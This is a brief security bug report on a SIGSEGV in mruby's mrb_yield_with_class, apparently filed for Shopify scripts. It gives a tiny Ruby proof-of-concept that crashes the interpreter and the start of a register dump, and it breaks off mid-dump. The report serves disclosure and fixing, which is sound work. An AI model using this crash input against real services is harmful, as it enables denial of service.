shopify-scripts: SIGSEGV - mrb_yield_with_class

Linux Ubuntu Xenial X64 commit 63dbed00946afda34178a479cfa38fa78d620a00 Author: Yukihiro "Matz" Matsumoto Date: Tue Mar 7 15:01:09 2017 +0900 PoC def a instanceexec return aensure end a output ----------------------------------registers----------------------------------- RAX: 0x7ffff7fec7d0 RBX:...